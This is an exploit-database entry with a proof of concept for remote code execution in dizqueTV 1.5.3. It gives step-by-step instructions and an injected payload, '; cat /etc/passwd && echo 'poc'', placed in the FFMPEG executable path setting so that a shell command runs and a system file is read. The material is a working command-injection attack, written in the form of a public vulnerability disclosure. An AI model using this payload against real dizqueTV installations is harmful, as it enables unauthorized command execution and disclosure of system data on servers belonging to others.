dizqueTV 1.5.3 - Remote Code Execution (RCE)

Author: Ahmed Said Saud Al-Busaidi
type: webapps
platform: jsp
port: 
date_added: 2024-10-01  
date_updated: 2024-10-01  
verified: 0  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 52079.txt  
# Exploit Title: dizqueTV 1.5.3 - Remote Code Execution (RCE)
# Date: 9/21/2024
# Exploit Author: Ahmed Said Saud Al-Busaidi
# Vendor Homepage: https://github.com/vexorian/dizquetv
# Version: 1.5.3
# Tested on: linux

POC:

## Vulnerability Description

dizqueTV 1.5.3 is vulnerable to unauthorized remote code execution from attackers.

## STEPS TO REPRODUCE

1. go to http://localhost/#!/settings

2. now go to ffmpeg settings and change the FFMPEG Executable Path to: "; cat /etc/passwd && echo 'poc'"

3. click on update

4. now visit http://localhost/#!/version or click on version and you should see the content of /etc/passwd